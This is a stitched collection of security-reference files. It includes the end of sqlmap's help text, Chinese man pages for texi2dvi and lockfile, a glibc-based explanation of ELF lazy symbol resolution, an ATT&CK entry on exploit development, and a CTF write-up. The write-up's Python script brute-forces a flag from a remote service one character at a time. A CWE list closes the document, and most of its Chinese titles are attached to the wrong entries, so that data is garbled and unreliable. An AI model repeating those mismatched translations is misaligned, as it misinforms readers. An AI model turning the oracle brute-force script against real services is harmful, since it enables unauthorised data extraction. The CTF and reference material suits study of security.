remove all content from output directory ## 安全地从输出目录中删除所有内容 --smart Conduct thorough tests only if positive heuristic(s) ## 只有在正启发式时才进行彻底测试 --sqlmap-shell Prompt for an interactive sqlmap shell ## 提示交互式 sqlmap shell --wizard Simple wizard interface for beginner users ## 给初级用户的简单向导界面 ``` <p align="right">--By Micropoor </p>
sec-knowleage
.\" DO NOT MODIFY THIS FILE! It was generated by help2man 1.29. .TH TEXI2DVI "1" "June 2003" "texi2dvi 1.23" "User Commands" .SH NAME texi2dvi \- 打印 Texinfo 文档 .SH "SYNOPSIS 总览" .B texi2dvi [\fIOPTION\fR]... \fIFILE\fR... .SH "DESCRIPTION 描述" 依次从 Tex 系统中运行每个 Texinfo 或者 LaTex 文件 FILE,直到解决了所有的交叉引用,建立所有的索引。每个包含 FILE 的目录都将被搜索,查找被包含的文件。FILE 的后缀被用来判断它的语言 (LaTex 还是 Texinfo)。 .PP 需要的时候,在运行 Tex 系统之前,使用 makeinfo 来进行 Texinfo 宏扩展。 .SS "操作模式:" .TP \fB\-b\fR, \fB\-\-batch\fR 非交互式 .TP \fB\-c\fR, \fB\-\-clean\fR 删除所有的辅助文件 (auxiliary) .TP \fB\-D\fR, \fB\-\-debug\fR 打开 shell 调试 (设置 \fB\-x\fR) .TP \fB\-h\fR, \fB\-\-help\fR 显示此帮助,然后退出 .TP \fB\-o\fR, \fB\-\-output\fR=\fIOFILE\fR 将输出保存于 OFILE (隐含着 \fB\-\-clean\fR);这种情况下只能指定一个输入文件 FILE .TP \fB\-q\fR, \fB\-\-quiet\fR 不显示输出,除非发生错误 (隐含着 \fB\-\-batch\fR) .TP \fB\-s\fR, \fB\-\-silent\fR 与 \fB\-\-quiet\fR 相同 .TP \fB\-v\fR, \fB\-\-version\fR 显示版本信息,然后退出 .TP \fB\-V\fR, \fB\-\-verbose\fR 报告每一步行为 .SS "调整 TeX:" .TP -@ 使用 @input 而不是 \einput;只对应预先加载的 Texinfo .TP \fB\-e\fR, \fB\-E\fR, \fB\-\-expand\fR 强制使用 makeinfo 进行宏扩展 .TP \fB\-I\fR DIR 搜索 DIR,查找 Texinfo 文件 .TP \fB\-l\fR, \fB\-\-language\fR=\fILANG\fR 指定文件 FILE 的语言 LANG (值为 LaTex 或 Texinfo) .TP \fB\-p\fR, \fB\-\-pdf\fR 使用 pdftex 或者 pdflatex 来处理 .TP \fB\-t\fR, \fB\-\-command\fR=\fICMD\fR 在输入文件的拷贝中插入 CMD; .TP 或 \fB\-\-texinfo\fR=\fICMD\fR 累积多个值 (?) .PP 环境变量 BIBTEX, LATEX (或 PDFLATEX), MAKEINDEX, MAKEINFO, TEX (或 PDFTEX), 以及 TEXINDEX 的值将用来运行对应的命令,如果设置了它们的话。任何 CMD 字串都被添加到 Texinfo 输入文件的 @setfilename 之后,或者 LaTex 输入文件的第一行。 .SH "REPORTING BUGS 报告错误" 将错误报告发送到 bug-texinfo@gnu.org,一般的问题和讨论则发送到 help-texinfo@gnu.org。 Texinfo 主页:http://www.gnu.org/software/texinfo/ .SH COPYRIGHT Copyright \(co 2003 Free Software Foundation, Inc. There is NO warranty. You may redistribute this software under the terms of the GNU General Public License. For more information about these matters, see the files named COPYING. .SH "SEE ALSO 参见" .B texindex 的全部文档以 Texinfo 手册页形式保存。如果你的主机上正确安装了 .B info 和 .B texindex 程序,命令 .IP .B info texindex .PP 将使你可以读取完整的手册。
sec-knowleage
# Symbol Reslove ## 基本原理 链接器在处理目标文件时,需要对目标文件中的某些位置进行重定位,即将符号指向恰当的位置,确保程序正常执行。例如,当程序调用了一个函数时,相关的调用指令必须把控制流交给适当的目标执行地址。 在 ELF 文件中,对于每一个需要重定位的 ELF 节都有对应的重定位表,比如说 .text 节如果需要重定位,那么其对应的重定位表为 .rel.text。 举个例子,当一个程序导入某个函数时,.dynstr 就会包含对应函数名称的字符串,.dynsym 中就会包含一个具有相应名称的符号(Elf_Sym),在 .rel.plt 中就会包含一个指向这个符号的的重定位表项。即,这几者之间的引用关系是 总的来说,plt 表项主要进行了如下的函数调用来解析目标函数 ```c _dl_runtime_resolve(link_map_obj, reloc_index) ``` ## 具体操作 ### _dl_runtime_resolve 32 位和 64 位具有不同的 _dl_runtime_resolve 函数,32 位的版本如下 ```assembly .text .globl _dl_runtime_resolve .type _dl_runtime_resolve, @function cfi_startproc .align 16 _dl_runtime_resolve: cfi_adjust_cfa_offset (8) _CET_ENDBR pushl %eax # Preserve registers otherwise clobbered. cfi_adjust_cfa_offset (4) pushl %ecx cfi_adjust_cfa_offset (4) pushl %edx cfi_adjust_cfa_offset (4) movl 16(%esp), %edx # Copy args pushed by PLT in register. Note movl 12(%esp), %eax # that `fixup' takes its parameters in regs. call _dl_fixup # Call resolver. popl %edx # Get register content back. cfi_adjust_cfa_offset (-4) movl (%esp), %ecx movl %eax, (%esp) # Store the function address. movl 4(%esp), %eax ret $12 # Jump to function address. cfi_endproc .size _dl_runtime_resolve, .-_dl_runtime_resolve ``` 其中 - 以 cfi 开头的都是一些提示性信息,可以不用管。可参考 - https://stackoverflow.com/questions/51962243/what-is-cfi-adjust-cfa-offset-and-cfi-rel-offset - https://sourceware.org/binutils/docs/as/CFI-directives.html - _CET_ENDBR 则与 Intel 的 CET 相关,标记着间接跳转的位置。如果程序中的间接跳转位置处没有这个指令,那就会出现问题。 因此这部分代码可以简化为 ```assembly .text .globl _dl_runtime_resolve .type _dl_runtime_resolve, @function .align 16 _dl_runtime_resolve: pushl %eax # Preserve registers otherwise clobbered. pushl %ecx pushl %edx movl 16(%esp), %edx # Copy args pushed by PLT in register. Note movl 12(%esp), %eax # that `fixup' takes its parameters in regs. call _dl_fixup # Call resolver. popl %edx # Get register content back. movl (%esp), %ecx movl %eax, (%esp) # Store the function address. movl 4(%esp), %eax ret $12 # Jump to function address. .size _dl_runtime_resolve, .-_dl_runtime_resolve ``` 即,`_dl_runtime_resolve` 保存了 eax,ecx,edx 三个寄存器后,然后把 link_map 的地址放到 eax 中,把待解析的符号的偏移放到 edx 中。然后就去执行 `_dl_fixup` 函数。在函数执行返回后,会按照如下的顺序执行 - 先恢复 edx 寄存器的值 - 然后 恢复 ecx 的值 - 然后把 `_dl_fixup` 函数的返回值放到当前的栈上 - 然后恢复 eax 的值 - 执行 ret $12,此时栈上为 - 待解析的函数的地址 - original eax - `link_map` 的地址 - reloc_offset 64 位下的 _dl_runtime_resolve 与 32 位下类似,有几点主要的区别 - 在刚进入函数时,会保存更多的信息 - _dl_fixup 会使用 rdi 和 rsi 传参 - 最后执行目标函数时使用的是 jmp 指令 ```assembly .globl _dl_runtime_resolve .hidden _dl_runtime_resolve .type _dl_runtime_resolve, @function .align 16 cfi_startproc _dl_runtime_resolve: cfi_adjust_cfa_offset(16) # Incorporate PLT _CET_ENDBR # if DL_RUNTIME_RESOLVE_REALIGN_STACK # if LOCAL_STORAGE_AREA != 8 # error LOCAL_STORAGE_AREA must be 8 # endif pushq %rbx # push subtracts stack by 8. cfi_adjust_cfa_offset(8) cfi_rel_offset(%rbx, 0) mov %RSP_LP, %RBX_LP cfi_def_cfa_register(%rbx) and $-STATE_SAVE_ALIGNMENT, %RSP_LP # endif # ifdef REGISTER_SAVE_AREA sub $REGISTER_SAVE_AREA, %RSP_LP # if !DL_RUNTIME_RESOLVE_REALIGN_STACK cfi_adjust_cfa_offset(REGISTER_SAVE_AREA) # endif # else # Allocate stack space of the required size to save the state. # if IS_IN (rtld) sub _rtld_local_ro+RTLD_GLOBAL_RO_DL_X86_CPU_FEATURES_OFFSET+XSAVE_STATE_SIZE_OFFSET(%rip), %RSP_LP # else sub _dl_x86_cpu_features+XSAVE_STATE_SIZE_OFFSET(%rip), %RSP_LP # endif # endif # Preserve registers otherwise clobbered. movq %rax, REGISTER_SAVE_RAX(%rsp) movq %rcx, REGISTER_SAVE_RCX(%rsp) movq %rdx, REGISTER_SAVE_RDX(%rsp) movq %rsi, REGISTER_SAVE_RSI(%rsp) movq %rdi, REGISTER_SAVE_RDI(%rsp) movq %r8, REGISTER_SAVE_R8(%rsp) movq %r9, REGISTER_SAVE_R9(%rsp) # ifdef USE_FXSAVE fxsave STATE_SAVE_OFFSET(%rsp) # else movl $STATE_SAVE_MASK, %eax xorl %edx, %edx # Clear the XSAVE Header. # ifdef USE_XSAVE movq %rdx, (STATE_SAVE_OFFSET + 512)(%rsp) movq %rdx, (STATE_SAVE_OFFSET + 512 + 8)(%rsp) # endif movq %rdx, (STATE_SAVE_OFFSET + 512 + 8 * 2)(%rsp) movq %rdx, (STATE_SAVE_OFFSET + 512 + 8 * 3)(%rsp) movq %rdx, (STATE_SAVE_OFFSET + 512 + 8 * 4)(%rsp) movq %rdx, (STATE_SAVE_OFFSET + 512 + 8 * 5)(%rsp) movq %rdx, (STATE_SAVE_OFFSET + 512 + 8 * 6)(%rsp) movq %rdx, (STATE_SAVE_OFFSET + 512 + 8 * 7)(%rsp) # ifdef USE_XSAVE xsave STATE_SAVE_OFFSET(%rsp) # else xsavec STATE_SAVE_OFFSET(%rsp) # endif # endif # Copy args pushed by PLT in register. # %rdi: link_map, %rsi: reloc_index mov (LOCAL_STORAGE_AREA + 8)(%BASE), %RSI_LP mov LOCAL_STORAGE_AREA(%BASE), %RDI_LP call _dl_fixup # Call resolver. mov %RAX_LP, %R11_LP # Save return value # Get register content back. # ifdef USE_FXSAVE fxrstor STATE_SAVE_OFFSET(%rsp) # else movl $STATE_SAVE_MASK, %eax xorl %edx, %edx xrstor STATE_SAVE_OFFSET(%rsp) # endif movq REGISTER_SAVE_R9(%rsp), %r9 movq REGISTER_SAVE_R8(%rsp), %r8 movq REGISTER_SAVE_RDI(%rsp), %rdi movq REGISTER_SAVE_RSI(%rsp), %rsi movq REGISTER_SAVE_RDX(%rsp), %rdx movq REGISTER_SAVE_RCX(%rsp), %rcx movq REGISTER_SAVE_RAX(%rsp), %rax # if DL_RUNTIME_RESOLVE_REALIGN_STACK mov %RBX_LP, %RSP_LP cfi_def_cfa_register(%rsp) movq (%rsp), %rbx cfi_restore(%rbx) # endif # Adjust stack(PLT did 2 pushes) add $(LOCAL_STORAGE_AREA + 16), %RSP_LP cfi_adjust_cfa_offset(-(LOCAL_STORAGE_AREA + 16)) # Preserve bound registers. PRESERVE_BND_REGS_PREFIX jmp *%r11 # Jump to function address. cfi_endproc .size _dl_runtime_resolve, .-_dl_runtime_resolve #endif ``` ### _dl_fixup _dl_runtime_resolve 中执行的最核心的函数就是 _dl_fixup 了,如下(这里也给出了一些相关的宏),需要注意的是,64 位下的 reloc_arg 就是 reloc_index。 ```c /* We use this macro to refer to ELF types independent of the native wordsize. `ElfW(TYPE)' is used in place of `Elf32_TYPE' or `Elf64_TYPE'. */ #define ElfW(type) _ElfW(Elf, __ELF_NATIVE_CLASS, type) #define _ElfW(e, w, t) _ElfW_1(e, w, _##t) #define _ElfW_1(e, w, t) e##w##t /* All references to the value of l_info[DT_PLTGOT], l_info[DT_STRTAB], l_info[DT_SYMTAB], l_info[DT_RELA], l_info[DT_REL], l_info[DT_JMPREL], and l_info[VERSYMIDX (DT_VERSYM)] have to be accessed via the D_PTR macro. The macro is needed since for most architectures the entry is already relocated - but for some not and we need to relocate at access time. */ #ifdef DL_RO_DYN_SECTION #define D_PTR(map, i) ((map)->i->d_un.d_ptr + (map)->l_addr) #else #define D_PTR(map, i) (map)->i->d_un.d_ptr #endif #if (!ELF_MACHINE_NO_RELA && !defined ELF_MACHINE_PLT_REL) || ELF_MACHINE_NO_REL #define PLTREL ElfW(Rela) #else #define PLTREL ElfW(Rel) #endif /* The type of the return value of fixup/profile_fixup. */ #define DL_FIXUP_VALUE_TYPE ElfW(Addr) /* Construct a value of type DL_FIXUP_VALUE_TYPE from a code address and a link map. */ #define DL_FIXUP_MAKE_VALUE(map, addr) (addr) /* Extract the code address from a value of type DL_FIXUP_MAKE_VALUE. */ #define DL_FIXUP_VALUE_CODE_ADDR(value) (value) #define DL_FIXUP_VALUE_ADDR(value) (value) #define DL_FIXUP_ADDR_VALUE(addr) (addr) /* Result of the lookup functions and how to retrieve the base address. */ typedef struct link_map *lookup_t; #define LOOKUP_VALUE(map) map #define LOOKUP_VALUE_ADDRESS(map, set) ((set) || (map) ? (map)->l_addr : 0) /* Calculate the address of symbol REF using the base address from map MAP, if non-NULL. Don't check for NULL map if MAP_SET is TRUE. */ #define SYMBOL_ADDRESS(map, ref, map_set) \ ((ref) == NULL ? 0 \ : (__glibc_unlikely((ref)->st_shndx == SHN_ABS) ? 0 \ : LOOKUP_VALUE_ADDRESS(map, map_set)) + \ (ref)->st_value) #ifndef reloc_offset #define reloc_offset reloc_arg #define reloc_index reloc_arg / sizeof(PLTREL) #endif /* This function is called through a special trampoline from the PLT the first time each PLT entry is called. We must perform the relocation specified in the PLT of the given shared object, and return the resolved function address to the trampoline, which will restart the original call to that address. Future calls will bounce directly from the PLT to the function. */ DL_FIXUP_VALUE_TYPE attribute_hidden __attribute((noinline)) ARCH_FIXUP_ATTRIBUTE _dl_fixup( #ifdef ELF_MACHINE_RUNTIME_FIXUP_ARGS ELF_MACHINE_RUNTIME_FIXUP_ARGS, #endif struct link_map *l, ElfW(Word) reloc_arg) { // 获取目标文件的动态符号表 const ElfW(Sym) *const symtab = (const void *)D_PTR(l, l_info[DT_SYMTAB]); // 获取目标文件的动态字符串表 const char *strtab = (const void *)D_PTR(l, l_info[DT_STRTAB]); // 根据给定的偏移获取待重定位的表项 const PLTREL *const reloc = (const void *)(D_PTR(l, l_info[DT_JMPREL]) + reloc_offset); // 依据得到的重定位表项获取待解析符号的符号信息 const ElfW(Sym) *sym = &symtab[ELFW(R_SYM)(reloc->r_info)]; const ElfW(Sym) *refsym = sym; // rel_addr 中最终存储着要解析的符号的地址 // 即 *rel_addr = addr_of_symbol_to_be_resolved void *const rel_addr = (void *)(l->l_addr + reloc->r_offset); lookup_t result; DL_FIXUP_VALUE_TYPE value; /* Sanity check that we're really looking at a PLT relocation. */ // 确保待重定位表项的类型为 ELF_MACHINE_JMP_SLOT assert(ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT); /* Look up the target symbol. If the normal lookup rules are not used don't look in the global scope. */ // 判断符号的可见性 if (__builtin_expect(ELFW(ST_VISIBILITY)(sym->st_other), 0) == 0) { // 获取符号的版本信息 const struct r_found_version *version = NULL; if (l->l_info[VERSYMIDX(DT_VERSYM)] != NULL) { const ElfW(Half) *vernum = (const void *)D_PTR(l, l_info[VERSYMIDX(DT_VERSYM)]); ElfW(Half) ndx = vernum[ELFW(R_SYM)(reloc->r_info)] & 0x7fff; version = &l->l_versions[ndx]; if (version->hash == 0) version = NULL; } /* We need to keep the scope around so do some locking. This is not necessary for objects which cannot be unloaded or when we are not using any threads (yet). */ int flags = DL_LOOKUP_ADD_DEPENDENCY; if (!RTLD_SINGLE_THREAD_P) { THREAD_GSCOPE_SET_FLAG(); flags |= DL_LOOKUP_GSCOPE_LOCK; } #ifdef RTLD_ENABLE_FOREIGN_CALL RTLD_ENABLE_FOREIGN_CALL; #endif // 查询待解析符号所在的目标文件的 link_map result = _dl_lookup_symbol_x(strtab + sym->st_name, l, &sym, l->l_scope, version, ELF_RTYPE_CLASS_PLT, flags, NULL); /* We are done with the global scope. */ if (!RTLD_SINGLE_THREAD_P) THREAD_GSCOPE_RESET_FLAG(); #ifdef RTLD_FINALIZE_FOREIGN_CALL RTLD_FINALIZE_FOREIGN_CALL; #endif /* Currently result contains the base load address (or link map) of the object that defines sym. Now add in the symbol offset. */ // 基于查询到的 link_map 计算符号的绝对地址: result->l_addr + sym->st_value // l_addr 为待解析函数所在文件的基地址 value = DL_FIXUP_MAKE_VALUE(result, SYMBOL_ADDRESS(result, sym, false)); } else { /* We already found the symbol. The module (and therefore its load address) is also known. */ value = DL_FIXUP_MAKE_VALUE(l, SYMBOL_ADDRESS(l, sym, true)); result = l; } /* And now perhaps the relocation addend. */ value = elf_machine_plt_value(l, reloc, value); if (sym != NULL && __builtin_expect(ELFW(ST_TYPE)(sym->st_info) == STT_GNU_IFUNC, 0)) value = elf_ifunc_invoke(DL_FIXUP_VALUE_ADDR(value)); /* Finally, fix up the plt itself. */ // 修复 plt 表 if (__glibc_unlikely(GLRO(dl_bind_not))) return value; return elf_machine_fixup_plt(l, result, refsym, sym, reloc, rel_addr, value); } static inline ElfW(Addr) elf_machine_fixup_plt (struct link_map *map, lookup_t t, const ElfW(Sym) *refsym, const ElfW(Sym) *sym, const ElfW(Rela) *reloc, ElfW(Addr) *reloc_addr, ElfW(Addr) value) { return *reloc_addr = value; } /* Return the final value of a PLT relocation. On x86-64 the JUMP_SLOT relocation ignores the addend. */ static inline ElfW(Addr) elf_machine_plt_value (struct link_map *map, const ElfW(Rela) *reloc, ElfW(Addr) value) { return value; } ``` ## 参考 - https://code.woboq.org/userspace/glibc/sysdeps/x86_64/dl-trampoline.h.html#60 - https://stackoverflow.com/questions/46374907/what-does-the-f-prefix-of-some-gcc-command-line-options-mean - https://gcc.gnu.org/onlinedocs/gcc/Invoking-GCC.html
sec-knowleage
.TH LOCKFILE 1 .SH NAME(名称) lockfile \- 条件标志文件创建命令 .SH SYNOPSIS(总览) .B lockfile .I "\fB\-\fPsleeptime" | .I "\fB\-r \fPretries" | .if n .ti +0.5i .I "\fB\-l \fPlocktimeout" | .I "\fB\-s \fPsuspend" | .B "\-!" | .B "\-ml" | .B "\-mu" | .I filename \&.\|.\|. .SH DESCRIPTION(描述) .B lockfile可以用来创建一个或多个 .I 信号量(semaphore) .IR 文件.如果lockfile不能创建所有指定的文件(按照指定的顺序),那么它会等待一段 .I 休眠期(sleeptime) (默认为8秒)并从不成功的最后一个文件开始重试.你可以指定失败返回之前 .I 重试(retries) 的次数. 如果 .I retries 的次数设为\-1(默认地,也即 .BR \-r\-1 ) lockfile会永远重试下去. .PP 如果在所有文件创建之前 .I retries 的次数已经满了,lockfile会返回失败的信息并删除所有已经创建的文件. .PP 在shell脚本中使用lockfile作为循环的条件可以很容易地通过使用 .B \-! 标识反向退出的状态来实现.为了防止无限循环,除了lockfile已经存在以外的任何原因的失败都不会反向为成功状态,而是仍然以失败状态返回. .PP 所有标识可以在命令行中的任何地方指定,碰到它们就进行处理.命令行简单地由左至右进行解析. .PP 所有通过lockfile创建的文件都是只读的,因此必须使用 .B rm .BR \-f 来删除. .PP 如果你指定了一个 .I locktimeout 那么lockfile会在lockfile最后一次修改/创建之后locktimeout秒过后强制性地删除(很可能是一些其它程序意外死掉很长一段时间后造成不能清除残余的lockfiles).Lockfile不受时钟偏差的影响.在lockfile强制被清除之后,延迟的 .I suspend 秒(默认为16)开始计数,这是为了防止无意的直接删除了任何由另一程序新创建的lockfile(与 .BR procmail (1)) 中的 .BR SUSPEND 比较). .SS "Mailbox locks"(邮箱锁定) 如果系统邮件spool目录有权限允许它,或者如果lockfile正好被setgid了,那么它可以通过 使用相应的选项 .B "\-ml" 和 .B "\-mu" lock和unlock你的系统邮箱. .SH EXAMPLES(示例) 假设你想确定访问文件"important"是串行的,也即,没有其它程序或shell脚本允许访问它.为了简省起见,让我们假定它是一个shell脚本.在这个例子中,你应该像这样解决: .RS \&.\|.\|. lockfile important.lock \&.\|.\|. access_"important"_to_your_hearts_content \&.\|.\|. rm \-f important.lock \&.\|.\|. .RE 现在如果所有访问"important"的脚本按照这条规则,你就可以确保在`lockfile'和`rm'命令之间至多只有一个脚本在执行. .SH ENVIRONMENT(环境变量) .TP 2.3i .B LOGNAME 用作隐含变量以确定调用者的登录名 .SH FILES(相关文件) .TP 2.3i .B /etc/passwd 为了验证和/或纠正调用者的登录名(如果需要的话,同时也是为了找出HOME目录) .TP .B /var/spool/mail/$LOGNAME.lock 系统邮箱的lockfile,出现在其中的环境变量不由系统的环境变量决定,而是会通过在/etc/passwd中查找确定. .SH "SEE ALSO"(另见) .na .nh .BR rm (1), .BR mail (1), .BR binmail (1), .BR sendmail (8), .BR procmail (1) .hy .ad .SH DIAGNOSTICS(诊断) .TP 2.3i Filename too long,.\|.\|. 使用更短的文件名. .TP Forced unlock denied on "x" 没有对lockfile "x"所存放的目录的写的权限,或者超过一个lockfile几乎同时正在试图强制lock. .TP Forcing lock on "x" lockfile "x"因为超时的缘故将要强制删除 (与 .BR procmail (1)) 中的 .BR LOCKTIMEOUT 作比较). .TP Out of memory,.\|.\|. 系统交换空间溢出. .TP Signal received,.\|.\|. Lockfile将删除到此为止创建的所有文件并终止. .TP Sorry,.\|.\|. .I retries 限制已经到达. .TP Truncating "x" and retrying lock "x"看上去不是有效的文件名. .TP Try praying,.\|.\|. 缺失子目录或者权限不够. .SH BUGS 确实少于一个. .SH WARNINGS(警告) .B \-! 标识的操作行为,尽管有用,但是并不很直接或一致.当测试lockfile的返回值时,shell脚本编写者应该仔细考虑是使用 .B \-! 标识简单地作反向测试,还是对原来的退出代码执行一次转换. 通常, .B \-! 标识应该只用在lockfile是循环的条件之时. .SH MISCELLANEOUS(杂项) Lockfile不兼容NFS,而且八位还原. .SH NOTES(备注) 使用\-h或\-?选项调用lockfile会使得它显示命令行方式的帮助页.使用\-v选项调用会使得它显示版本信息. .PP 多个 .B \-! 标识会切换返回状态. .PP 因为标识可以出现在命令行的任何位置,所以任何一个以'-'开头的文件名必须加'./"在前面. .PP 当任何接在后面的文件正在创建(也即,它们正在使用)时, .I retries 的次数不能重新设置.不过,它可以通过在命令行上指定 .RI \-r newretries 于每个文件之后来重新设置. .PP 尽管任何名字的文件都可用作lockfiles,通常习惯还是使用扩展名为'.lock'的文件来lock邮件文件夹(它添加于邮件夹名之后).如果不想担心文件名太长了,也不必遵从任何其它的lockfilename的习惯,那么一个最好的方法就是通过添加前缀`lock.'来生成一个与已经存在的文件相应的lockfilename,并且在其后添加锁定文件的i-node数. .SH SOURCE(源自) 该程序为 http://www.procmail.org/或者 ftp.procmail.org的 .BR pub/procmail/ 中 .I procmail mail-processing-package (v3.14)的一部分. .SH MAILINGLIST(邮件列表) 有一个针对procmail包中任何程序相关问题的邮件列表: .RS <procmail-users@procmail.org> .RS 用来提交问题/答案. .RE <procmail-users-request@procmail.org> .RS 用来请求订阅. .RE .PP .RE 如果你想即时获得新版本和公开补丁的通告,请发订阅请求到 .RS procmail-announce-request@procmail.org .RE (这是一个只读列表). .SH AUTHOR Stephen R. van den Berg .RS <srb@cuci.nl> .SH "[中文版维护人]" .B riser <boomer@ccidnet.com> .SH "[中文版最新更新]" .BR 2001/08/08 .SH "《中国linux论坛man手册页翻译计划》:" .BI http://cmpp.linuxforum.net
sec-knowleage
# T1587-004-开发能力-漏洞利用 ## 来自ATT&CK的描述 攻击者可能会开发可在攻击目标期间使用的漏洞。利用了一个错误或漏洞,以使计算机硬件或软件发生非预期或意料之外的行为。与其从网上寻找,修改漏洞或从漏洞供应商那里购买漏洞,攻击者可能会自行挖掘漏洞。作为漏洞利用开发过程的一部分,攻击者可能会通过模糊测试和补丁分析等方法发现可利用的漏洞。 与合法的开发工作一样,开发漏洞可能需要不同的技能。所需的技能可能位于内部,也可能需要外包。使用承包商可以被认为是该攻击者开发能力的扩展,只要攻击者在制定要求方面发挥作用,并保持对漏洞的独有性。 攻击者可能会在攻击生命周期的各个阶段使用漏洞利用(即利用面向公众的应用程序、利用客户端执行、利用特权升级、利用防御规避、利用凭据访问、利用远程服务以及利用应用程序或系统利用)。 ## 测试案例 无 ## 检测日志 无法有效监测 ## 测试复现 无 ## 测试留痕 无 ## 检测规则/思路 无 ## 建议 ### 缓解措施 这种技术不容易用预防控制来缓解,因为它是基于企业防御和控制范围之外的行为。 ### 检测 这种活动大多发生在目标组织的能见度之外,使得对这种行为的检测变得困难。检测工作大多集中在与使用漏洞有关的行为上(即利用面向公众的应用程序、利用客户端执行、利用特权升级、利用防御规避、利用凭证访问、利用远程服务、以及应用或系统漏洞)。 ## 参考推荐 MITRE-ATT&CK-T1587-004 <https://attack.mitre.org/techniques/T1587/004/>
sec-knowleage
# Bwv2342 (reverse, 499p, 4 solved) In the challenge we get a [binary](bwv2342) which was obfuscated by movfuscator. We also get a netcat address for the server running the binary. We tried using some de-movfuscators but to no avail. Therefore we decided to try blackbox approach. Using `ltrace` and `strace` we could see that the binary opens `flag.txt`, so to do some local tests we should make sych file. Sadly tracing didn't show anything useful apart from that. The binary reads input from us and prints as output `notes` as for example `C#1` or `G 2`. Once we created local flag file and checked what results we get from the binary, when providing proper flag prefix vs. random data, we noticed that there is a difference. We usually get a `lower` note for the proper data. It can be handled even easier, since basically the result for correct prefix is simply different, and all others are the same! If for example we send `h` then result will be `X`, and if we send any other character the result will be `Y`. This means we can easily brute-force the flag byte by byte with: ```python import re import string from collections import defaultdict from crypto_commons.netcat.netcat_commons import nc, send, receive_until_match, receive_until def main(): url = "bwv2342.ctf.hackover.de" port = 1337 s = nc(url, port) s.recv(9999) prefix = '' charset = string.letters + string.digits + string.punctuation + " " while True: corr = {} symbols = defaultdict(int) for c in charset: send(s, prefix + c) res = receive_until(s, "\n") receive_until_match(s, "Please enter your guess:\n") symbol = re.findall("(.*)", res)[0] corr[symbol] = c symbols[symbol] += 1 print(symbols) print(corr) for symbol, c in symbols.items(): if c == 1: prefix += corr[symbol] break print(prefix) main() ``` We simply test all possible character from charset, and count the results. The proper result is the one with `counter = 1`. After a moment we recover: `hackover18{M0V_70_7h4_w0h173mp3r13r73_Kl4v13r}`
sec-knowleage
### CWEID:CWE-5 J2EE Misconfiguration: Data Transmission Without Encryption title_zh:J2EE误配置:未经加密的数据传输 Information sent over a network can be compromised while in transit. An attacker may be able to read or modify the contents if the data are sent in plaintext or are weakly encrypted. ### CWEID:CWE-14 Compiler Removal of Code to Clear Buffers title_zh:ASP.NET误配置:配置文件中存储口令 Sensitive memory is cleared according to the source code, but compiler optimizations leave the memory untouched when it is not read from again, aka "dead store removal." ### CWEID:CWE-12 ASP.NET Misconfiguration: Missing Custom Error Page title_zh:J2EE误配置:会话ID长度不充分 An ASP .NET application must enable custom error pages in order to prevent attackers from mining information from the framework's built-in responses. ### CWEID:CWE-8 J2EE Misconfiguration: Entity Bean Declared Remote title_zh:J2EE误配置:缺少定制错误页面 When an application exposes a remote interface for an entity bean, it might also expose methods that get or set the bean's data. These methods could be leveraged to read sensitive information, or to change data in ways that violate the application's expectations, potentially leading to other vulnerabilities. ### CWEID:CWE-9 J2EE Misconfiguration: Weak Access Permissions for EJB Methods title_zh:系统设置或配置在外部可控制 If elevated access rights are assigned to EJB methods, then an attacker can take advantage of the permissions to exploit the product. ### CWEID:CWE-7 J2EE Misconfiguration: Missing Custom Error Page title_zh:J2EE误配置:实体Bean远程声明 The default error page of a web application should not display sensitive information about the product. ### CWEID:CWE-11 ASP.NET Misconfiguration: Creating Debug Binary title_zh:J2EE误配置:EJB方法弱访问权限 Debugging messages help attackers learn about the system and plan a form of attack. ### CWEID:CWE-6 J2EE Misconfiguration: Insufficient Session-ID Length title_zh:ASP.NET误配置:缺少定制错误页面 The J2EE application is configured to use an insufficient session ID length. ### CWEID:CWE-13 ASP.NET Misconfiguration: Password in Configuration File title_zh:ASP.NET误配置:创建Debug模式二进制 Storing a plaintext password in a configuration file allows anyone who can read the file access to the password-protected resource making them an easy target for attackers. ### CWEID:CWE-24 Path Traversal: '../filedir' title_zh:路径遍历:’/../filedir’ The product uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize "../" sequences that can resolve to a location that is outside of that directory. ### CWEID:CWE-23 Relative Path Traversal title_zh:输入验证不恰当 The product uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize sequences such as ".." that can resolve to a location that is outside of that directory. ### CWEID:CWE-28 Path Traversal: '..\filedir' title_zh:对路径名的限制不恰当(路径遍历) The product uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize "..\" sequences that can resolve to a location that is outside of that directory. ### CWEID:CWE-15 External Control of System or Configuration Setting title_zh:路径遍历:’../filedir’ One or more system settings or configuration elements can be externally controlled by a user. ### CWEID:CWE-20 Improper Input Validation title_zh:编译器移除释放缓冲区的代码 The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly. ### CWEID:CWE-29 Path Traversal: '\..\filename' title_zh:相对路径遍历 The product uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize '\..\filename' (leading backslash dot dot) sequences that can resolve to a location that is outside of that directory. ### CWEID:CWE-30 Path Traversal: '\dir\..\filename' title_zh:路径遍历:’dir/../filename’ The product uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize '\dir\..\filename' (leading backslash dot dot) sequences that can resolve to a location that is outside of that directory. ### CWEID:CWE-27 Path Traversal: 'dir/../../filename' title_zh:路径遍历:’..filename’ The product uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize multiple internal "../" sequences that can resolve to a location that is outside of that directory. ### CWEID:CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') title_zh:路径遍历:’dirfilename’ The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. ### CWEID:CWE-31 Path Traversal: 'dir\..\..\filename' title_zh:路径遍历:’dir....filename’ The product uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize 'dir\..\..\filename' (multiple internal backslash dot dot) sequences that can resolve to a location that is outside of that directory. ### CWEID:CWE-26 Path Traversal: '/dir/../filename' title_zh:路径遍历:’…’(三个点号) The product uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize "/dir/../filename" sequences that can resolve to a location that is outside of that directory. ### CWEID:CWE-32 Path Traversal: '...' (Triple Dot) title_zh:路径遍历:’..filedir’ The product uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize '...' (triple dot) sequences that can resolve 